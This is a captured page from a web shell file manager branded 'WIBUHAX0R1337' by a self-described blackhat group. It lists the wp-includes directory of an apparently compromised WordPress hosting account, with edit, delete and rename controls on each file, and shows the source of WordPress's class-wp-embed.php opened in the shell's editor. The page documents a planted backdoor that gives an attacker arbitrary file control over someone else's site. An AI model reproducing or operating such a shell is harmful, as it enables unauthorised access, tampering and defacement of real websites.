-
WIBUHAX0R1337
-
/
home
/
coludnqa
/
public_html
/
wp-includes
/
[ Home ]
Create Folder
Create File
Nama File / Folder
Size
Action
ID3
--
NONE
IXR
--
NONE
PHPMailer
--
NONE
Requests
--
NONE
SimplePie
--
NONE
Text
--
NONE
assets
--
NONE
block-bindings
--
NONE
block-patterns
--
NONE
block-supports
--
NONE
blocks
--
NONE
certificates
--
NONE
css
--
NONE
customize
--
NONE
fonts
--
NONE
html-api
--
NONE
images
--
NONE
interactivity-api
--
NONE
js
--
NONE
l10n
--
NONE
php-compat
--
NONE
pomo
--
NONE
rest-api
--
NONE
sitemaps
--
NONE
sodium_compat
--
NONE
style-engine
--
NONE
theme-compat
--
NONE
widgets
--
NONE
.htaccess
0.506KB
Edit File
Delete File
Rename
admin-bar.php
36.236KB
Edit File
Delete File
Rename
atomlib.php
11.795KB
Edit File
Delete File
Rename
block-bindings.php
5.463KB
Edit File
Delete File
Rename
block-editor.php
28.122KB
Edit File
Delete File
Rename
block-i18n.json
0.309KB
Edit File
Delete File
Rename
block-patterns.php
12.903KB
Edit File
Delete File
Rename
block-template-utils.php
60.456KB
Edit File
Delete File
Rename
cache-compat.php
5.829KB
Edit File
Delete File
Rename
cache.php
13.158KB
Edit File
Delete File
Rename
canonical.php
33.714KB
Edit File
Delete File
Rename
capabilities.php
41.717KB
Edit File
Delete File
Rename
class-IXR.php
2.555KB
Edit File
Delete File
Rename
class-feed.php
0.526KB
Edit File
Delete File
Rename
class-http.php
0.358KB
Edit File
Delete File
Rename
class-json.php
42.66KB
Edit File
Delete File
Rename
class-oembed.php
0.392KB
Edit File
Delete File
Rename
class-phpass.php
6.612KB
Edit File
Delete File
Rename
class-phpmailer.php
0.648KB
Edit File
Delete File
Rename
class-pop3.php
20.626KB
Edit File
Delete File
Rename
class-requests.php
2.185KB
Edit File
Delete File
Rename
class-simplepie.php
0.442KB
Edit File
Delete File
Rename
class-smtp.php
0.446KB
Edit File
Delete File
Rename
class-snoopy.php
36.831KB
Edit File
Delete File
Rename
class-walker-category-dropdown.php
2.411KB
Edit File
Delete File
Rename
class-walker-page-dropdown.php
2.646KB
Edit File
Delete File
Rename
class-wp-ajax-response.php
5.143KB
Edit File
Delete File
Rename
class-wp-application-passwords.php
16.698KB
Edit File
Delete File
Rename
class-wp-block-bindings-registry.php
8.265KB
Edit File
Delete File
Rename
class-wp-block-editor-context.php
1.318KB
Edit File
Delete File
Rename
class-wp-block-list.php
4.646KB
Edit File
Delete File
Rename
class-wp-block-metadata-registry.php
11.616KB
Edit File
Delete File
Rename
class-wp-block-parser-frame.php
1.97KB
Edit File
Delete File
Rename
class-wp-block-pattern-categories-registry.php
5.245KB
Edit File
Delete File
Rename
class-wp-block-styles-registry.php
6.253KB
Edit File
Delete File
Rename
class-wp-block-supports.php
5.494KB
Edit File
Delete File
Rename
class-wp-block-template.php
1.985KB
Edit File
Delete File
Rename
class-wp-block-templates-registry.php
7.062KB
Edit File
Delete File
Rename
class-wp-block-type-registry.php
4.896KB
Edit File
Delete File
Rename
class-wp-block-type.php
16.86KB
Edit File
Delete File
Rename
class-wp-block.php
22.501KB
Edit File
Delete File
Rename
class-wp-classic-to-block-menu-converter.php
3.992KB
Edit File
Delete File
Rename
class-wp-comment-query.php
47.261KB
Edit File
Delete File
Rename
class-wp-comment.php
9.216KB
Edit File
Delete File
Rename
class-wp-customize-control.php
25.245KB
Edit File
Delete File
Rename
class-wp-customize-manager.php
197.845KB
Edit File
Delete File
Rename
class-wp-customize-nav-menus.php
56.309KB
Edit File
Delete File
Rename
class-wp-customize-panel.php
10.459KB
Edit File
Delete File
Rename
class-wp-customize-section.php
10.946KB
Edit File
Delete File
Rename
class-wp-customize-setting.php
29.26KB
Edit File
Delete File
Rename
class-wp-customize-widgets.php
70.518KB
Edit File
Delete File
Rename
class-wp-date-query.php
34.895KB
Edit File
Delete File
Rename
class-wp-dependencies.php
14.784KB
Edit File
Delete File
Rename
class-wp-dependency.php
2.565KB
Edit File
Delete File
Rename
class-wp-editor.php
70.64KB
Edit File
Delete File
Rename
class-wp-embed.php
15.558KB
Edit File
Delete File
Rename
class-wp-error.php
7.326KB
Edit File
Delete File
Rename
class-wp-exception.php
0.247KB
Edit File
Delete File
Rename
class-wp-feed-cache-transient.php
3.102KB
Edit File
Delete File
Rename
class-wp-feed-cache.php
0.946KB
Edit File
Delete File
Rename
class-wp-hook.php
15.625KB
Edit File
Delete File
Rename
class-wp-http-ixr-client.php
3.419KB
Edit File
Delete File
Rename
class-wp-http.php
40.604KB
Edit File
Delete File
Rename
class-wp-image-editor-gd.php
19.689KB
Edit File
Delete File
Rename
class-wp-image-editor-imagick.php
33.921KB
Edit File
Delete File
Rename
class-wp-image-editor.php
17.116KB
Edit File
Delete File
Rename
class-wp-list-util.php
7.269KB
Edit File
Delete File
Rename
class-wp-locale-switcher.php
6.617KB
Edit File
Delete File
Rename
class-wp-locale.php
16.487KB
Edit File
Delete File
Rename
class-wp-matchesmapregex.php
1.785KB
Edit File
Delete File
Rename
class-wp-meta-query.php
29.815KB
Edit File
Delete File
Rename
class-wp-metadata-lazyloader.php
6.673KB
Edit File
Delete File
Rename
class-wp-navigation-fallback.php
8.995KB
Edit File
Delete File
Rename
class-wp-network-query.php
19.392KB
Edit File
Delete File
Rename
class-wp-network.php
12.008KB
Edit File
Delete File
Rename
class-wp-object-cache.php
17.113KB
Edit File
Delete File
Rename
class-wp-oembed-controller.php
6.743KB
Edit File
Delete File
Rename
class-wp-oembed.php
30.865KB
Edit File
Delete File
Rename
class-wp-phpmailer.php
3.713KB
Edit File
Delete File
Rename
class-wp-plugin-dependencies.php
24.722KB
Edit File
Delete File
Rename
class-wp-post-type.php
29.961KB
Edit File
Delete File
Rename
class-wp-query.php
154.319KB
Edit File
Delete File
Rename
class-wp-recovery-mode-cookie-service.php
6.716KB
Edit File
Delete File
Rename
class-wp-recovery-mode-email-service.php
10.921KB
Edit File
Delete File
Rename
class-wp-recovery-mode-key-service.php
4.77KB
Edit File
Delete File
Rename
class-wp-recovery-mode-link-service.php
3.382KB
Edit File
Delete File
Rename
class-wp-recovery-mode.php
11.185KB
Edit File
Delete File
Rename
class-wp-rewrite.php
62.195KB
Edit File
Delete File
Rename
class-wp-script-modules.php
19.007KB
Edit File
Delete File
Rename
class-wp-scripts.php
27.68KB
Edit File
Delete File
Rename
class-wp-session-tokens.php
7.147KB
Edit File
Delete File
Rename
class-wp-simplepie-file.php
3.328KB
Edit File
Delete File
Rename
class-wp-site-query.php
30.884KB
Edit File
Delete File
Rename
class-wp-speculation-rules.php
7.351KB
Edit File
Delete File
Rename
class-wp-styles.php
10.752KB
Edit File
Delete File
Rename
class-wp-taxonomy.php
18.124KB
Edit File
Delete File
Rename
class-wp-term-query.php
39.911KB
Edit File
Delete File
Rename
class-wp-textdomain-registry.php
10.235KB
Edit File
Delete File
Rename
class-wp-theme-json-data.php
1.767KB
Edit File
Delete File
Rename
class-wp-theme-json-resolver.php
34.9KB
Edit File
Delete File
Rename
class-wp-theme-json-schema.php
7.194KB
Edit File
Delete File
Rename
class-wp-theme-json.php
159.712KB
Edit File
Delete File
Rename
class-wp-theme.php
64.268KB
Edit File
Delete File
Rename
class-wp-token-map.php
27.947KB
Edit File
Delete File
Rename
class-wp-user-meta-session-tokens.php
2.92KB
Edit File
Delete File
Rename
class-wp-user-query.php
42.632KB
Edit File
Delete File
Rename
class-wp-user.php
22.455KB
Edit File
Delete File
Rename
class-wp-walker.php
13.01KB
Edit File
Delete File
Rename
class-wp-widget-factory.php
3.269KB
Edit File
Delete File
Rename
class-wp-widget.php
17.997KB
Edit File
Delete File
Rename
class-wp-xmlrpc-server.php
210.395KB
Edit File
Delete File
Rename
class-wp.php
25.701KB
Edit File
Delete File
Rename
class-wpdb.php
115.512KB
Edit File
Delete File
Rename
class.wp-dependencies.php
0.364KB
Edit File
Delete File
Rename
class.wp-scripts.php
0.335KB
Edit File
Delete File
Rename
class.wp-styles.php
0.33KB
Edit File
Delete File
Rename
comment.php
128.464KB
Edit File
Delete File
Rename
compat.php
15.992KB
Edit File
Delete File
Rename
cron.php
41.658KB
Edit File
Delete File
Rename
default-constants.php
11.099KB
Edit File
Delete File
Rename
default-filters.php
35.837KB
Edit File
Delete File
Rename
default-widgets.php
2.241KB
Edit File
Delete File
Rename
deprecated.php
187.073KB
Edit File
Delete File
Rename
embed.php
37.277KB
Edit File
Delete File
Rename
error-protection.php
4.024KB
Edit File
Delete File
Rename
feed-atom-comments.php
5.375KB
Edit File
Delete File
Rename
feed-atom.php
3.048KB
Edit File
Delete File
Rename
feed-rss.php
1.161KB
Edit File
Delete File
Rename
feed-rss2-comments.php
4.039KB
Edit File
Delete File
Rename
feed-rss2.php
3.71KB
Edit File
Delete File
Rename
formatting.php
334.884KB
Edit File
Delete File
Rename
functions.php
281.963KB
Edit File
Delete File
Rename
functions.wp-styles.php
8.382KB
Edit File
Delete File
Rename
global-styles-and-settings.php
20.763KB
Edit File
Delete File
Rename
http.php
24.719KB
Edit File
Delete File
Rename
https-migration.php
4.63KB
Edit File
Delete File
Rename
load.php
55.117KB
Edit File
Delete File
Rename
locale.php
0.158KB
Edit File
Delete File
Rename
ms-blogs.php
25.239KB
Edit File
Delete File
Rename
ms-default-constants.php
4.806KB
Edit File
Delete File
Rename
ms-default-filters.php
6.48KB
Edit File
Delete File
Rename
ms-deprecated.php
21.249KB
Edit File
Delete File
Rename
ms-files.php
2.68KB
Edit File
Delete File
Rename
ms-functions.php
89.436KB
Edit File
Delete File
Rename
ms-load.php
19.417KB
Edit File
Delete File
Rename
ms-network.php
3.693KB
Edit File
Delete File
Rename
ms-settings.php
4.099KB
Edit File
Delete File
Rename
nav-menu.php
43.333KB
Edit File
Delete File
Rename
option.php
100.649KB
Edit File
Delete File
Rename
pluggable-deprecated.php
6.176KB
Edit File
Delete File
Rename
pluggable.php
119.824KB
Edit File
Delete File
Rename
plugin.php
34.634KB
Edit File
Delete File
Rename
post-formats.php
6.936KB
Edit File
Delete File
Rename
query.php
36.167KB
Edit File
Delete File
Rename
registration-functions.php
0.195KB
Edit File
Delete File
Rename
rest-api.php
97.907KB
Edit File
Delete File
Rename
revision.php
30.021KB
Edit File
Delete File
Rename
rewrite.php
19.083KB
Edit File
Delete File
Rename
robots-template.php
5.063KB
Edit File
Delete File
Rename
rss-functions.php
0.249KB
Edit File
Delete File
Rename
rss.php
22.571KB
Edit File
Delete File
Rename
script-loader.php
130.139KB
Edit File
Delete File
Rename
script-modules.php
7.531KB
Edit File
Delete File
Rename
session.php
0.252KB
Edit File
Delete File
Rename
shortcodes.php
23.487KB
Edit File
Delete File
Rename
speculative-loading.php
8.357KB
Edit File
Delete File
Rename
spl-autoload-compat.php
0.431KB
Edit File
Delete File
Rename
style-engine.php
7.386KB
Edit File
Delete File
Rename
taxonomy.php
172.097KB
Edit File
Delete File
Rename
template-canvas.php
0.531KB
Edit File
Delete File
Rename
template-loader.php
2.941KB
Edit File
Delete File
Rename
theme-i18n.json
1.49KB
Edit File
Delete File
Rename
theme.json
8.5KB
Edit File
Delete File
Rename
theme.php
131.155KB
Edit File
Delete File
Rename
update.php
36.624KB
Edit File
Delete File
Rename
user.php
171.702KB
Edit File
Delete File
Rename
vars.php
6.408KB
Edit File
Delete File
Rename
version.php
1.064KB
Edit File
Delete File
Rename
widgets.php
69.062KB
Edit File
Delete File
Rename
wp-db.php
0.435KB
Edit File
Delete File
Rename
wp-diff.php
0.78KB
Edit File
Delete File
Rename
<?php /** * API for easily embedding rich media such as videos and images into content. * * @package WordPress * @subpackage Embed * @since 2.9.0 */ #[AllowDynamicProperties] class WP_Embed { public $handlers = array(); public $post_ID; public $usecache = true; public $linkifunknown = true; public $last_attr = array(); public $last_url = ''; /** * When a URL cannot be embedded, return false instead of returning a link * or the URL. * * Bypasses the {@see 'embed_maybe_make_link'} filter. * * @var bool */ public $return_false_on_fail = false; /** * Constructor */ public function __construct() { // Hack to get the [embed] shortcode to run before wpautop(). add_filter( 'the_content', array( $this, 'run_shortcode' ), 8 ); add_filter( 'widget_text_content', array( $this, 'run_shortcode' ), 8 ); add_filter( 'widget_block_content', array( $this, 'run_shortcode' ), 8 ); // Shortcode placeholder for strip_shortcodes(). add_shortcode( 'embed', '__return_false' ); // Attempts to embed all URLs in a post. add_filter( 'the_content', array( $this, 'autoembed' ), 8 ); add_filter( 'widget_text_content', array( $this, 'autoembed' ), 8 ); add_filter( 'widget_block_content', array( $this, 'autoembed' ), 8 ); // After a post is saved, cache oEmbed items via Ajax. add_action( 'edit_form_advanced', array( $this, 'maybe_run_ajax_cache' ) ); add_action( 'edit_page_form', array( $this, 'maybe_run_ajax_cache' ) ); } /** * Processes the [embed] shortcode. * * Since the [embed] shortcode needs to be run earlier than other shortcodes, * this function removes all existing shortcodes, registers the [embed] shortcode, * calls do_shortcode(), and then re-registers the old shortcodes. * * @global array $shortcode_tags * * @param string $content Content to parse. * @return string Content with shortcode parsed. */ public function run_shortcode( $content ) { global $shortcode_tags; // Back up current registered shortcodes and clear them all out. $orig_shortcode_tags = $shortcode_tags; remove_all_shortcodes(); add_shortcode( 'embed', array( $this, 'shortcode' ) ); // Do the shortcode (only the [embed] one is registered). $content = do_shortcode( $content, true ); // Put the original shortcodes back. $shortcode_tags = $orig_shortcode_tags; return $content; } /** * If a post/page was saved, then output JavaScript to make * an Ajax request that will call WP_Embed::cache_oembed(). */ public function maybe_run_ajax_cache() { $post = get_post(); if ( ! $post || empty( $_GET['message'] ) ) { return; } ?> <script type="text/javascript"> jQuery( function($) { $.get("<?php echo esc_url( admin_url( 'admin-ajax.php', 'relative' ) ) . '?action=oembed-cache&post=' . $post->ID; ?>"); } ); </script> <?php } /** * Registers an embed handler. * * Do not use this function directly, use wp_embed_register_handler() instead. * * This function should probably also only be used for sites that do not support oEmbed. * * @param string $id An internal ID/name for the handler. Needs to be unique. * @param string $regex The regex that will be used to see if this handler should be used for a URL. * @param callable $callback The callback function that will be called if the regex is matched. * @param int $priority Optional. Used to specify the order in which the registered handlers will be tested. * Lower numbers correspond with earlier testing, and handlers with the same priority are * tested in the order in which they were added to the action. Default 10. */ public function register_handler( $id, $regex, $callback, $priority = 10 ) { $this->handlers[ $priority ][ $id ] = array( 'regex' => $regex, 'callback' => $callback, ); } /** * Unregisters a previously-registered embed handler. * * Do not use this function directly, use wp_embed_unregister_handler() instead. * * @param string $id The handler ID that should be removed. * @param int $priority Optional. The priority of the handler to be removed (default: 10). */ public function unregister_handler( $id, $priority = 10 ) { unset( $this->handlers[ $priority ][ $id ] ); } /** * Returns embed HTML for a given URL from embed handlers. * * Attempts to convert a URL into embed HTML by checking the URL * against the regex of the registered embed handlers. * * @since 5.5.0 * * @param array $attr { * Shortcode attributes. Optional. * * @type int $width Width of the embed in pixels. * @type int $height Height of the embed in pixels. * } * @param string $url The URL attempting to be embedded. * @return string|false The embed HTML on success, false otherwise. */ public function get_embed_handler_html( $attr, $url ) { $rawattr = $attr; $attr = wp_parse_args( $attr, wp_embed_defaults( $url ) ); ksort( $this->handlers ); foreach ( $this->handlers as $priority => $handlers ) { foreach ( $handlers as $id => $handler ) { if ( preg_match( $handler['regex'], $url, $matches ) && is_callable( $handler['callback'] ) ) { $return = call_user_func( $handler['callback'], $matches, $attr, $url, $rawattr ); if ( false !== $return ) { /** * Filters the returned embed HTML. * * @since 2.9.0 * * @see WP_Embed::shortcode() * * @param string $return The HTML result of the shortcode. * @param string $url The embed URL. * @param array $attr An array of shortcode attributes. */ return apply_filters( 'embed_handler_html', $return, $url, $attr ); } } } } return false; } /** * The do_shortcode() callback function. * * Attempts to convert a URL into embed HTML. Starts by checking the URL against the regex of * the registered embed handlers. If none of the regex matches and it's enabled, then the URL * will be given to the WP_oEmbed class. * * @param array $attr { * Shortcode attributes. Optional. * * @type int $width Width of the embed in pixels. * @type int $height Height of the embed in pixels. * } * @param string $url The URL attempting to be embedded. * @return string|false The embed HTML on success, otherwise the original URL. * `->maybe_make_link()` can return false on failure. */ public function shortcode( $attr, $url = '' ) { $post = get_post(); if ( empty( $url ) && ! empty( $attr['src'] ) ) { $url = $attr['src']; } $this->last_url = $url; if ( empty( $url ) ) { $this->last_attr = $attr; return ''; } $rawattr = $attr; $attr = wp_parse_args( $attr, wp_embed_defaults( $url ) ); $this->last_attr = $attr; /* * KSES converts & into & and we need to undo this. * See https://core.trac.wordpress.org/ticket/11311 */ $url = str_replace( '&', '&', $url ); // Look for known internal handlers. $embed_handler_html = $this->get_embed_handler_html( $rawattr, $url ); if ( false !== $embed_handler_html ) { return $embed_handler_html; } $post_id = ( ! empty( $post->ID ) ) ? $post->ID : null; // Potentially set by WP_Embed::cache_oembed(). if ( ! empty( $this->post_ID ) ) { $post_id = $this->post_ID; } // Check for a cached result (stored as custom post or in the post meta). $key_suffix = md5( $url . serialize( $attr ) ); $cachekey = '_oembed_' . $key_suffix; $cachekey_time = '_oembed_time_' . $key_suffix; /** * Filters the oEmbed TTL value (time to live). * * @since 4.0.0 * * @param int $time Time to live (in seconds). * @param string $url The attempted embed URL. * @param array $attr An array of shortcode attributes. * @param int $post_id Post ID. */ $ttl = apply_filters( 'oembed_ttl', DAY_IN_SECONDS, $url, $attr, $post_id ); $cache = ''; $cache_time = 0; $cached_post_id = $this->find_oembed_post_id( $key_suffix ); if ( $post_id ) { $cache = get_post_meta( $post_id, $cachekey, true ); $cache_time = get_post_meta( $post_id, $cachekey_time, true ); if ( ! $cache_time ) { $cache_time = 0; } } elseif ( $cached_post_id ) { $cached_post = get_post( $cached_post_id ); $cache = $cached_post->post_content; $cache_time = strtotime( $cached_post->post_modified_gmt ); } $cached_recently = ( time() - $cache_time ) < $ttl; if ( $this->usecache || $cached_recently ) { // Failures are cached. Serve one if we're using the cache. if ( '{{unknown}}' === $cache ) { return $this->maybe_make_link( $url ); } if ( ! empty( $cache ) ) { /** * Filters the cached oEmbed HTML. * * @since 2.9.0 * * @see WP_Embed::shortcode() * * @param string $cache The cached HTML result, stored in post meta. * @param string $url The attempted embed URL. * @param array $attr An array of shortcode attributes. * @param int $post_id Post ID. */ return apply_filters( 'embed_oembed_html', $cache, $url, $attr, $post_id ); } } /** * Filters whether to inspect the given URL for discoverable link tags. * * @since 2.9.0 * @since 4.4.0 The default value changed to true. * * @see WP_oEmbed::discover() * * @param bool $enable Whether to enable `<link>` tag discovery. Default true. */ $attr['discover'] = apply_filters( 'embed_oembed_discover', true ); // Use oEmbed to get the HTML. $html = wp_oembed_get( $url, $attr ); if ( $post_id ) { if ( $html ) { update_post_meta( $post_id, $cachekey, $html ); update_post_meta( $post_id, $cachekey_time, time() ); } elseif ( ! $cache ) { update_post_meta( $post_id, $cachekey, '{{unknown}}' ); } } else { $has_kses = false !== has_filter( 'content_save_pre', 'wp_filter_post_kses' ); if ( $has_kses ) { // Prevent KSES from corrupting JSON in post_content. kses_remove_filters(); } $insert_post_args = array( 'post_name' => $key_suffix, 'post_status' => 'publish', 'post_type' => 'oembed_cache', ); if ( $html ) { if ( $cached_post_id ) { wp_update_post( wp_slash( array( 'ID' => $cached_post_id, 'post_content' => $html, ) ) ); } else { wp_insert_post( wp_slash( array_merge( $insert_post_args, array( 'post_content' => $html, ) ) ) ); } } elseif ( ! $cache ) { wp_insert_post( wp_slash( array_merge( $insert_post_args, array( 'post_content' => '{{unknown}}', ) ) ) ); } if ( $has_kses ) { kses_init_filters(); } } // If there was a result, return it. if ( $html ) { /** This filter is documented in wp-includes/class-wp-embed.php */ return apply_filters( 'embed_oembed_html', $html, $url, $attr, $post_id ); } // Still unknown. return $this->maybe_make_link( $url ); } /** * Deletes all oEmbed caches. Unused by core as of 4.0.0. * * @param int $post_id Post ID to delete the caches for. */ public function delete_oembed_caches( $post_id ) { $post_metas = get_post_custom_keys( $post_id ); if ( empty( $post_metas ) ) { return; } foreach ( $post_metas as $post_meta_key ) { if ( str_starts_with( $post_meta_key, '_oembed_' ) ) { delete_post_meta( $post_id, $post_meta_key ); } } } /** * Triggers a caching of all oEmbed results. * * @param int $post_id Post ID to do the caching for. */ public function cache_oembed( $post_id ) { $post = get_post( $post_id ); $post_types = get_post_types( array( 'show_ui' => true ) ); /** * Filters the array of post types to cache oEmbed results for. * * @since 2.9.0 * * @param string[] $post_types Array of post type names to cache oEmbed results for. Defaults to post types with `show_ui` set to true. */ $cache_oembed_types = apply_filters( 'embed_cache_oembed_types', $post_types ); if ( empty( $post->ID ) || ! in_array( $post->post_type, $cache_oembed_types, true ) ) { return; } // Trigger a caching. if ( ! empty( $post->post_content ) ) { $this->post_ID = $post->ID; $this->usecache = false; $content = $this->run_shortcode( $post->post_content ); $this->autoembed( $content ); $this->usecache = true; } } /** * Passes any unlinked URLs that are on their own line to WP_Embed::shortcode() for potential embedding. * * @see WP_Embed::autoembed_callback() * * @param string $content The content to be searched. * @return string Potentially modified $content. */ public function autoembed( $content ) { // Replace line breaks from all HTML elements with placeholders. $content = wp_replace_in_html_tags( $content, array( "\n" => '<!-- wp-line-break -->' ) ); if ( preg_match( '#(^|\s|>)https?://#i', $content ) ) { // Find URLs on their own line. $content = preg_replace_callback( '|^(\s*)(https?://[^\s<>"]+)(\s*)$|im', array( $this, 'autoembed_callback' ), $content ); // Find URLs in their own paragraph. $content = preg_replace_callback( '|(<p(?: [^>]*)?>\s*)(https?://[^\s<>"]+)(\s*<\/p>)|i', array( $this, 'autoembed_callback' ), $content ); } // Put the line breaks back. return str_replace( '<!-- wp-line-break -->', "\n", $content ); } /** * Callback function for WP_Embed::autoembed(). * * @param array $matches A regex match array. * @return string The embed HTML on success, otherwise the original URL. */ public function autoembed_callback( $matches ) { $oldval = $this->linkifunknown; $this->linkifunknown = false; $return = $this->shortcode( array(), $matches[2] ); $this->linkifunknown = $oldval; return $matches[1] . $return . $matches[3]; } /** * Conditionally makes a hyperlink based on an internal class variable. * * @param string $url URL to potentially be linked. * @return string|false Linked URL or the original URL. False if 'return_false_on_fail' is true. */ public function maybe_make_link( $url ) { if ( $this->return_false_on_fail ) { return false; } $output = ( $this->linkifunknown ) ? '<a href="' . esc_url( $url ) . '">' . esc_html( $url ) . '</a>' : $url; /** * Filters the returned, maybe-linked embed URL. * * @since 2.9.0 * * @param string $output The linked or original URL. * @param string $url The original URL. */ return apply_filters( 'embed_maybe_make_link', $output, $url ); } /** * Finds the oEmbed cache post ID for a given cache key. * * @since 4.9.0 * * @param string $cache_key oEmbed cache key. * @return int|null Post ID on success, null on failure. */ public function find_oembed_post_id( $cache_key ) { $cache_group = 'oembed_cache_post'; $oembed_post_id = wp_cache_get( $cache_key, $cache_group ); if ( $oembed_post_id && 'oembed_cache' === get_post_type( $oembed_post_id ) ) { return $oembed_post_id; } $oembed_post_query = new WP_Query( array( 'post_type' => 'oembed_cache', 'post_status' => 'publish', 'name' => $cache_key, 'posts_per_page' => 1, 'no_found_rows' => true, 'cache_results' => true, 'update_post_meta_cache' => false, 'update_post_term_cache' => false, 'lazy_load_term_meta' => false, ) ); if ( ! empty( $oembed_post_query->posts ) ) { // Note: 'fields' => 'ids' is not being used in order to cache the post object as it will be needed. $oembed_post_id = $oembed_post_query->posts[0]->ID; wp_cache_set( $cache_key, $oembed_post_id, $cache_group ); return $oembed_post_id; } return null; } }
© 2022 - 2023 WIBUHAXOR V1 By Lutfifakee || Padang Blackhat